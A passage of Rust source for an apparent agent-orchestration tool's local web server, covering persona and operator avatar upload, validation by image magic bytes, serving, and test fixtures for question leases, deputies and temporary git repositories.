10089 format!("%{b:02X}")
10090 }
10091 })
10092 .collect()
10093}
10094
10095fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10097 let Some(id) = persona else {
10098 return home.join("avatars/operator.data");
10099 };
10100 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10101 let mut path = home.join("avatars/personas");
10102 for chunk in encoded.as_bytes().chunks(100) {
10103 path.push(std::str::from_utf8(chunk).expect("hex"));
10104 }
10105 path.join("icon.data")
10106}
10107
10108fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10109 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10110 Some(value) if value == "builtin" => Some(String::new()),
10111 Some(value) => Some(value),
10112 None => configured.map(str::to_owned),
10113 }
10114}
10115
10116fn operator_icon_url(home: &FsPath) -> String {
10117 format!(
10118 "/avatars/operator.svg?v={}",
10119 persona_icon::fingerprint(
10120 read_icon_file(&avatar_setting_path(home, None))
10121 .as_deref()
10122 .or(Some(persona_icon::operator_svg()))
10123 )
10124 )
10125}
10126
10127fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10128 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10129 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10130 attachment_response(mime, bytes)
10131 }
10132 _ => svg_avatar(builtin),
10133 };
10134 response
10135 .headers_mut()
10136 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10137 response
10138}
10139
10140#[derive(Default, Deserialize)]
10141struct AvatarSettingsQuery {
10142 repo: Option<PathBuf>,
10143 persona: Option<String>,
10144 builtin: Option<String>,
10145 inherit: Option<String>,
10146}
10147
10148fn avatar_settings_specs(
10149 ui: &Ui,
10150 repo: Option<PathBuf>,
10151) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10152 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10153 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10154 .map(|cfg| cfg.talk.personas)
10155 .unwrap_or_default();
10156 Ok((repo, specs))
10157}
10158
10159fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10160 let Ok(entries) = std::fs::read_dir(path) else {
10161 return;
10162 };
10163 for entry in entries.flatten() {
10164 let name = entry.file_name().to_string_lossy().into_owned();
10165 if name == "icon.data" {
10166 let bytes: Option<Vec<u8>> = prefix
10167 .as_bytes()
10168 .chunks(2)
10169 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10170 .collect();
10171 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10172 out.push(id);
10173 }
10174 } else if name.len() <= 100
10175 && !name.is_empty()
10176 && name.bytes().all(|b| b.is_ascii_hexdigit())
10177 && entry.file_type().is_ok_and(|t| t.is_dir())
10178 {
10179 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10180 }
10181 }
10182}
10183
10184async fn avatar_settings_get(
10185 State(ui): State<Arc<Ui>>,
10186 Query(q): Query<AvatarSettingsQuery>,
10187) -> ApiResult<Json<serde_json::Value>> {
10188 blocking(move || {
10189 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10190 let mut catalog = persona::catalog(&specs);
10191 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10192 let mut saved = Vec::new();
10193 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10194 for id in saved {
10195 if !catalog.iter().any(|p| p.id == id) {
10196 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10197 }
10198 }
10199 let personas: Vec<_> = catalog.iter().map(|p| {
10200 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10201 let override_state = match saved.as_deref() {
10202 Some("builtin") => "builtin",
10203 Some(_) => "custom",
10204 None => "inherit",
10205 };
10206 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10207 serde_json::json!({"id":p.id,"name":p.name,
10208 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10209 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10210 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10211 }).collect();
10212 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10213 }).await
10214}
10215
10216async fn settings_persona_avatar(
10217 State(ui): State<Arc<Ui>>,
10218 Query(q): Query<AvatarSettingsQuery>,
10219) -> ApiResult<Response> {
10220 blocking(move || {
10221 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10222 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10223 let found = persona::find(&specs, id);
10224 let icon =
10225 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10226 Ok(raster_or_builtin(
10227 icon.as_deref().filter(|_| q.builtin.is_none()),
10228 persona_icon::builtin_svg(id),
10229 ))
10230 })
10231 .await
10232}
10233
10234fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10235 if q.persona
10236 .as_ref()
10237 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10238 {
10239 return Err(ApiError::bad_request("invalid persona id"));
10240 }
10241 Ok(())
10242}
10243
10244async fn avatar_settings_put(
10245 State(ui): State<Arc<Ui>>,
10246 Query(q): Query<AvatarSettingsQuery>,
10247 Json(upload): Json<MagiIconUpload>,
10248) -> ApiResult<Json<serde_json::Value>> {
10249 blocking(move || {
10250 validate_avatar_target(&q)?;
10251 save_icon_file(
10252 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10253 &upload.icon,
10254 )
10255 .map_err(ApiError::bad_request_from)?;
10256 Ok(Json(serde_json::json!({"saved":true})))
10257 })
10258 .await
10259}
10260
10261async fn avatar_settings_delete(
10262 State(ui): State<Arc<Ui>>,
10263 Query(q): Query<AvatarSettingsQuery>,
10264) -> ApiResult<Json<serde_json::Value>> {
10265 blocking(move || {
10266 validate_avatar_target(&q)?;
10267 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10268 if q.persona.is_some() && q.inherit.is_none() {
10269 atomic_icon_write(&path, "builtin")?;
10270 } else {
10271 match std::fs::remove_file(path) {
10272 Ok(()) => (),
10273 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10274 Err(e) => return Err(anyhow::Error::from(e).into()),
10275 }
10276 }
10277 Ok(Json(serde_json::json!({"saved":true})))
10278 })
10279 .await
10280}
10281
10282fn magi_icon_path(home: &FsPath) -> PathBuf {
10284 home.join("magi-icon.data")
10285}
10286
10287fn read_magi_icon(home: &FsPath) -> Option<String> {
10288 read_icon_file(&magi_icon_path(home))
10289}
10290
10291fn read_icon_file(path: &FsPath) -> Option<String> {
10292 let metadata = std::fs::metadata(path).ok()?;
10293 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10294 return None;
10295 }
10296 let file = std::fs::File::open(path).ok()?;
10297 use std::io::Read;
10298 let mut text = String::new();
10299 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10300 .read_to_string(&mut text)
10301 .ok()?;
10302 if text.len() > persona_icon::ICON_MAX_BYTES {
10303 return None;
10304 }
10305 if text == "builtin" {
10306 return Some(text);
10307 }
10308 validate_uploaded_icon(&text).ok()?;
10309 Some(text)
10310}
10311
10312fn magi_icon_url(home: &FsPath) -> String {
10313 format!(
10314 "/avatars/magi?v={}",
10315 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10316 )
10317}
10318
10319async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10320 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10321}
10322
10323#[derive(Deserialize)]
10324struct MagiIconUpload {
10325 icon: String,
10326}
10327
10328fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10329 save_icon_file(&magi_icon_path(home), icon)
10330}
10331
10332fn validate_uploaded_icon(icon: &str) -> Result<()> {
10333 if !icon.starts_with("data:") {
10334 anyhow::bail!("upload a raster image");
10335 }
10336 let (mime, bytes) = persona_icon::load(icon)?;
10337 if sniffed_mime(&bytes) != Some(mime) {
10338 anyhow::bail!("image content does not match its type");
10339 }
10340 Ok(())
10341}
10342
10343fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10344 validate_uploaded_icon(icon)?;
10345 atomic_icon_write(path, icon)
10346}
10347
10348fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10349 let home = path.parent().expect("icon parent");
10350 std::fs::create_dir_all(home)?;
10351 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10352 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10353 let result = (|| -> Result<()> {
10354 use std::io::Write;
10355 let mut file = std::fs::OpenOptions::new()
10356 .write(true)
10357 .create_new(true)
10358 .open(&temp)?;
10359 file.write_all(icon.as_bytes())?;
10360 file.sync_all()?;
10361 std::fs::rename(&temp, path)?;
10362 Ok(())
10363 })();
10364 let _ = std::fs::remove_file(temp);
10365 result?;
10366 Ok(())
10367}
10368
10369async fn magi_icon_put(
10370 State(ui): State<Arc<Ui>>,
10371 Json(upload): Json<MagiIconUpload>,
10372) -> ApiResult<Json<serde_json::Value>> {
10373 blocking(move || {
10374 if !upload.icon.starts_with("data:") {
10375 return Err(ApiError::bad_request("upload a raster image"));
10376 }
10377 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10378 if sniffed_mime(&bytes) != Some(mime) {
10379 return Err(ApiError::bad_request(
10380 "image content does not match its type",
10381 ));
10382 }
10383 save_magi_icon(&ui.home, &upload.icon)?;
10384 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10385 })
10386 .await
10387}
10388
10389async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10390 blocking(move || {
10391 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10392 Ok(()) => (),
10393 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10394 Err(e) => return Err(anyhow::Error::from(e).into()),
10395 }
10396 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10397 })
10398 .await
10399}
10400
10401async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10402 let icon = (q.builtin.is_none())
10403 .then(|| read_magi_icon(&ui.home))
10404 .flatten();
10405 let mut response = match icon
10406 .as_deref()
10407 .and_then(|icon| persona_icon::load(icon).ok())
10408 {
10409 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10410 attachment_response(mime, bytes)
10411 }
10412 _ => svg_avatar(persona_icon::magi_svg()),
10413 };
10414 response
10415 .headers_mut()
10416 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10417 response
10418}
10419
10420async fn talk_avatar(
10425 State(ui): State<Arc<Ui>>,
10426 Path(id): Path<String>,
10427 Query(q): Query<AvatarQuery>,
10428) -> ApiResult<Response> {
10429 blocking(move || {
10430 let id = resolve_talk(&ui.talks, &id)?;
10431 let talk = ui.talks.get(&id)?;
10432 let wanted = q
10433 .persona
10434 .as_deref()
10435 .map(str::trim)
10436 .filter(|p| !p.is_empty())
10437 .unwrap_or(&talk.persona)
10438 .to_owned();
10439 let specs = match Config::discover(&talk.repo, None) {
10440 Ok((cfg, _)) => cfg.talk.personas,
10441 Err(e) => {
10442 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10443 Vec::new()
10444 }
10445 };
10446 let found = persona::find(&specs, &wanted);
10447 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10449 let icon = effective_persona_icon(
10450 &ui.home,
10451 &wanted,
10452 found.as_ref().and_then(|p| p.icon.as_deref()),
10453 );
10454 if found.is_none() && icon.is_none() {
10455 return Ok(builtin_avatar(persona::DEFAULT_ID));
10456 }
10457 let Some(icon) = icon
10458 .as_deref()
10459 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10460 else {
10461 return Ok(builtin_avatar(&wanted));
10462 };
10463 let Some(found) = found else {
10464 return Ok(raster_or_builtin(
10465 Some(icon),
10466 persona_icon::builtin_svg(&wanted),
10467 ));
10468 };
10469 match persona_icon::load(icon) {
10470 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10471 let mut res = attachment_response(mime, bytes);
10472 res.headers_mut().insert(
10473 header::CACHE_CONTROL,
10474 header::HeaderValue::from_static("no-cache"),
10475 );
10476 Ok(res)
10477 }
10478 Ok((mime, _)) => {
10479 tracing::warn!(
10480 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10481 found.id
10482 );
10483 Ok(builtin_avatar(&found.id))
10484 }
10485 Err(e) => {
10486 tracing::warn!(
10487 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10488 found.id
10489 );
10490 Ok(builtin_avatar(&found.id))
10491 }
10492 }
10493 })
10494 .await
10495}
10496
10497fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10508 if data.len() > ATTACHMENT_MAX_BYTES {
10509 return Err(ApiError::bad_request(format!(
10510 "attachment is {} bytes, over the {} MiB limit",
10511 data.len(),
10512 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10513 ))
10514 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10515 }
10516 if data.is_empty() {
10517 return Err(ApiError::bad_request("attachment is empty"));
10518 }
10519 let declared = declared_mime(headers)?;
10520 match sniffed_mime(data) {
10521 Some(sniffed) if sniffed == declared => Ok(declared),
10522 Some(sniffed) => Err(ApiError::bad_request(format!(
10523 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10524 ))),
10525 None => Err(ApiError::bad_request(
10526 "the file's bytes do not match any accepted image format",
10527 )),
10528 }
10529}
10530
10531fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10535 let raw = headers
10536 .get(header::CONTENT_TYPE)
10537 .and_then(|v| v.to_str().ok())
10538 .unwrap_or("")
10539 .split(';')
10540 .next()
10541 .unwrap_or("")
10542 .trim()
10543 .to_ascii_lowercase();
10544 ATTACHMENT_MIME_WHITELIST
10545 .iter()
10546 .find(|&&m| m == raw)
10547 .copied()
10548 .ok_or_else(|| {
10549 if raw == "image/svg+xml" {
10550 ApiError::bad_request(
10551 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10552 not just a picture",
10553 )
10554 } else if raw.is_empty() {
10555 ApiError::bad_request("Content-Type is required for an attachment upload")
10556 } else {
10557 ApiError::bad_request(format!(
10558 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10559 image/gif or image/webp"
10560 ))
10561 }
10562 })
10563}
10564
10565fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10568 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10569 Some("image/png")
10570 } else if data.starts_with(b"\xff\xd8\xff") {
10571 Some("image/jpeg")
10572 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10573 Some("image/gif")
10574 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10575 Some("image/webp")
10576 } else {
10577 None
10578 }
10579}
10580
10581fn filename_header(headers: &HeaderMap) -> String {
10587 headers
10588 .get(FILENAME_HEADER)
10589 .and_then(|v| v.to_str().ok())
10590 .map(str::trim)
10591 .filter(|s| !s.is_empty())
10592 .unwrap_or("attachment")
10593 .to_owned()
10594}
10595
10596fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10603 let content_type = ATTACHMENT_MIME_WHITELIST
10604 .iter()
10605 .find(|&&m| m == mime)
10606 .copied()
10607 .unwrap_or("application/octet-stream");
10608 (
10609 [
10610 (header::CONTENT_TYPE, content_type),
10611 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10612 ],
10613 body,
10614 )
10615 .into_response()
10616}
10617
10618async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10626 let repo = repo.to_path_buf();
10627 blocking(move || {
10628 let (cfg, _) = Config::discover(&repo, None)?;
10629 Ok(cfg)
10630 })
10631 .await
10632}
10633
10634fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10640 let mut hits = ids
10641 .into_iter()
10642 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10643 match (hits.next(), hits.next()) {
10644 (Some(one), None) => Ok(one),
10645 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10646 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10647 "`{prefix}` matches more than one {what}, including {a} and {b}"
10648 ))),
10649 }
10650}
10651
10652#[cfg(test)]
10653mod tests {
10654
10655 #[test]
10656 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10657 let dir = tempfile::tempdir().unwrap();
10658 let store = ask::Questions::at(dir.path().join("questions"));
10659 let mut q = Question::new(
10660 "task".to_owned(),
10661 "conduct".to_owned(),
10662 "conduct".to_owned(),
10663 "choose".to_owned(),
10664 String::new(),
10665 vec!["keep".to_owned()],
10666 );
10667 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10668 q.say("why?").unwrap();
10669 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10670 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10671 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10672 store.put(&mut q).unwrap();
10673 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10674 assert_eq!(store.count_needs_owner(), 1);
10675 store.beat(&q.id, ask::WaiterKind::Deputy);
10676 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10677 assert_eq!(store.count_needs_owner(), 0);
10678 let mut stale = store.read_lease(&q.id).unwrap();
10679 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10680 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10681 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10682 assert!(view.deputy_exhausted);
10683 assert!(view.waiting_on_agent);
10684 assert_eq!(view.question.choices, ["keep"]);
10685 store.drop_lease(&q.id);
10686 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10687 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10688 }
10689
10690 #[test]
10691 fn holder_reads_the_lease_not_the_record() {
10692 let mut q = Question::new(
10693 "run".to_owned(),
10694 "implement".to_owned(),
10695 "impl-A".to_owned(),
10696 "which?".to_owned(),
10697 String::new(),
10698 Vec::new(),
10699 );
10700 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10701 q.cwd = Some("/tmp".to_owned());
10702 assert_eq!(holder_of(&q, None), Some("nobody"));
10703 let beat = |kind, ago: i64| ask::Lease {
10704 kind,
10705 pid: 1,
10706 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10707 .unwrap(),
10708 };
10709 let fresh = beat(ask::WaiterKind::Asker, 1);
10710 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10711 let daemon = beat(ask::WaiterKind::Daemon, 1);
10712 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10713 let stale = beat(ask::WaiterKind::Asker, 3600);
10714 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10715
10716 let mut c = Question::new(
10719 "task".to_owned(),
10720 crate::conduct::NODE.to_owned(),
10721 "conduct".to_owned(),
10722 "which?".to_owned(),
10723 String::new(),
10724 Vec::new(),
10725 );
10726 assert_eq!(holder_of(&c, None), Some("nobody"));
10727 c.cwd = Some("/tmp".to_owned());
10728 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10729 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10730 let deputy = beat(ask::WaiterKind::Deputy, 1);
10731 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10732 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10733
10734 let mut r = Question::new(
10736 String::new(),
10737 crate::bump::NOTICE_NODE.to_owned(),
10738 "release-watch".to_owned(),
10739 "stuck?".to_owned(),
10740 String::new(),
10741 vec!["hold".to_owned()],
10742 );
10743 assert_eq!(holder_of(&r, None), Some("nobody"));
10744 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10745 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10746 r.deputy = None;
10748 r.seat = "bump".to_owned();
10749 assert_eq!(holder_of(&r, None), None);
10750
10751 let mut m = Question::new(
10754 "run".to_owned(),
10755 crate::land::APPROVAL_NODE.to_owned(),
10756 "land".to_owned(),
10757 "merge?".to_owned(),
10758 String::new(),
10759 Vec::new(),
10760 );
10761 assert_eq!(holder_of(&m, None), Some("nobody"));
10762 assert_eq!(
10763 holder_of(&m, Some(&fresh)),
10764 Some("asker"),
10765 "a live explicit wait is a listener even before a deputy is attached"
10766 );
10767 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10768 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10769 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10770 assert_eq!(holder_of(&m, None), Some("nobody"));
10771 }
10772
10773 fn stub_config() -> Config {
10774 Config {
10777 agents: vec![crate::config::AgentSpec {
10778 id: "stub".to_owned(),
10779 kind: AgentKind::Command,
10780 model: None,
10781 command: vec!["true".to_owned()],
10782 extra_args: Vec::new(),
10783 env: Default::default(),
10784 prompt_delivery: None,
10785 max_turn_secs: None,
10786 }],
10787 ..Config::default()
10788 }
10789 }
10790
10791 fn plain_question(seat: &str) -> Question {
10792 Question::new(
10793 String::new(),
10794 "n".to_owned(),
10795 seat.to_owned(),
10796 "s".to_owned(),
10797 String::new(),
10798 Vec::new(),
10799 )
10800 }
10801
10802 #[test]
10803 fn deputies_enabled_follows_the_config() {
10804 let on = stub_config();
10805 assert!(crate::deputy::can_start(Some(&on), ""));
10806 assert!(crate::deputy::can_start(Some(&on), "stub"));
10807 let mut off = on.clone();
10808 off.daemon.max_deputies = 0;
10809 assert!(!crate::deputy::can_start(Some(&off), ""));
10810 let mut empty = on;
10811 empty.agents.clear();
10812 assert!(!crate::deputy::can_start(Some(&empty), ""));
10813 assert!(!crate::deputy::can_start(None, ""));
10814 }
10815
10816 #[test]
10817 fn question_views_load_the_config_once() {
10818 let dir = TempDir::new().unwrap();
10819 let store = ask::Questions::at(dir.path().to_path_buf());
10820 let mut with_deputy = plain_question("b");
10821 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10822 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10823
10824 let calls = std::cell::Cell::new(0usize);
10825 let views = question_views(qs.clone(), &store, || {
10826 calls.set(calls.get() + 1);
10827 Some(stub_config())
10828 });
10829 assert_eq!(calls.get(), 1);
10830 assert_eq!(views.len(), 3);
10831 for (v, q) in views.iter().zip(&qs) {
10832 assert_eq!(
10833 v.deputies_enabled,
10834 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10835 );
10836 }
10837
10838 let views = question_views(qs, &store, || None);
10839 assert!(views.iter().all(|v| !v.deputies_enabled));
10840
10841 let calls = std::cell::Cell::new(0usize);
10842 let views = question_views(Vec::new(), &store, || {
10843 calls.set(calls.get() + 1);
10844 None
10845 });
10846 assert!(views.is_empty());
10847 assert_eq!(calls.get(), 0);
10848 }
10849
10850 use pretty_assertions::assert_eq;
10851 use serde_json::Value;
10852 use tempfile::TempDir;
10853 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10854
10855 use super::*;
10856 use crate::config::Config;
10857 use crate::queue::Source;
10858
10859 const SETTLE_STEPS: usize = 3_000;
10870
10871 struct Fixture {
10877 home: TempDir,
10878 addr: SocketAddr,
10879 }
10880
10881 impl Fixture {
10882 async fn start() -> Self {
10883 Self::with_loop(launch_idle).await
10884 }
10885
10886 async fn with_loop(launch: Launch) -> Self {
10888 let home = TempDir::new().expect("temp home");
10889 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10890 Self { home, addr }
10891 }
10892
10893 async fn with_repo(repo: PathBuf) -> Self {
10897 let home = TempDir::new().expect("temp home");
10898 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10899 Self { home, addr }
10900 }
10901
10902 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10905 let home = TempDir::new().expect("temp home");
10906 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10907 Self { home, addr }
10908 }
10909
10910 async fn serve(
10911 home: &FsPath,
10912 repo: PathBuf,
10913 launch: Launch,
10914 machine: Option<PathBuf>,
10915 ) -> SocketAddr {
10916 let queue = Queue::at(home.join("queue"));
10917 let runs = home.join("runs");
10918 std::fs::create_dir_all(&runs).expect("runs dir");
10919 let worktrees = home.join("wt").join("magi");
10920 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10921 let ui = Ui::new(
10922 queue,
10923 Questions::at(home.join("questions")),
10924 Talks::at(home.join("talks")),
10925 runs,
10926 home.to_path_buf(),
10927 repo,
10928 )
10929 .with_worktrees_root(worktrees)
10930 .with_machine_config(machine)
10931 .with_launch(launch);
10932 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10933 .await
10934 .expect("bind loopback");
10935 let addr = listener.local_addr().expect("local addr");
10936 tokio::spawn(async move {
10937 let router = ui
10938 .router()
10939 .layer(axum::middleware::from_fn(request_cost::observe));
10940 let _ = axum::serve(listener, router).await;
10941 });
10942 addr
10943 }
10944
10945 fn queue(&self) -> Queue {
10946 Queue::at(self.home.path().join("queue"))
10947 }
10948
10949 fn questions(&self) -> Questions {
10950 Questions::at(self.home.path().join("questions"))
10951 }
10952
10953 fn talks(&self) -> Talks {
10954 Talks::at(self.home.path().join("talks"))
10955 }
10956
10957 fn runs(&self) -> PathBuf {
10958 self.home.path().join("runs")
10959 }
10960
10961 async fn get(&self, path: &str) -> Res {
10962 request(self.addr, "GET", path, None).await
10963 }
10964
10965 async fn head(&self, path: &str) -> Res {
10970 request(self.addr, "HEAD", path, None).await
10971 }
10972
10973 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10974 request(self.addr, "POST", path, body).await
10975 }
10976
10977 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10978 request_with(self.addr, "GET", path, None, extra).await
10979 }
10980
10981 async fn delete(&self, path: &str) -> Res {
10982 request(self.addr, "DELETE", path, None).await
10983 }
10984
10985 async fn put(&self, path: &str, body: &str) -> Res {
10986 request(self.addr, "PUT", path, Some(body)).await
10987 }
10988
10989 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10991 request_bytes(self.addr, path, headers, body).await
10992 }
10993 }
10994
10995 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10998 let tmp = TempDir::new().unwrap();
10999 let mut repos = Vec::new();
11000 for name in ["one", "two"] {
11001 let repo = tmp.path().join(name);
11002 let origin = tmp.path().join(format!("{name}.git"));
11003 std::fs::create_dir_all(&repo).unwrap();
11004 crate::git::git(&repo, &["init", "-b", "main"])
11005 .await
11006 .unwrap();
11007 std::fs::write(
11008 repo.join("magi.toml"),
11009 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11010 )
11011 .unwrap();
11012 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11013 crate::git::git(
11014 &repo,
11015 &[
11016 "-c",
11017 "user.name=fixture",
11018 "-c",
11019 "user.email=fixture@example.invalid",
11020 "commit",
11021 "-m",
11022 "fixture",
11023 ],
11024 )
11025 .await
11026 .unwrap();
11027 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11028 .await
11029 .unwrap();
11030 crate::git::git(
11031 &repo,
11032 &["remote", "add", "origin", origin.to_str().unwrap()],
11033 )
11034 .await
11035 .unwrap();
11036 crate::git::git(&repo, &["push", "origin", "main"])
11037 .await
11038 .unwrap();
11039 crate::git::git(
11040 &repo,
11041 &[
11042 "symbolic-ref",
11043 "refs/remotes/origin/HEAD",
11044 "refs/remotes/origin/main",
11045 ],
11046 )
11047 .await
11048 .unwrap();
11049 let (cfg, _) = Config::discover(&repo, None).unwrap();
11050 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11051 repos.push(repo);
11052 }
11053 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11054 (tmp, repos)
11055 }
11056
11057 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11058 let (tmp, repos) = performance_repositories().await;
11059 let machine = tmp.path().join("machine.toml");
11060 std::fs::write(&machine, "").unwrap();
11061 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11062 (tmp, repos, fx)
11063 }
11064
11065 fn seed_performance(
11066 fx: &Fixture,
11067 repos: &[PathBuf; 2],
11068 questions: usize,
11069 runs: usize,
11070 items: usize,
11071 ) {
11072 for i in fx.questions().list().len()..questions {
11074 let mut question = Question::new(
11075 "20261001-000000-0000".into(),
11076 "implement".into(),
11077 "impl-A".into(),
11078 format!("question {i}"),
11079 "context".into(),
11080 vec!["yes".into(), "no".into()],
11081 );
11082 question.id = format!("20261003-000000-{i:04x}");
11083 fx.questions().put(&mut question).unwrap();
11084 }
11085 for i in run_ids(&fx.runs()).len()..runs {
11086 write_run_repo(
11087 &fx.runs(),
11088 &format!("20261001-000000-{i:04x}"),
11089 RunStatus::Ready,
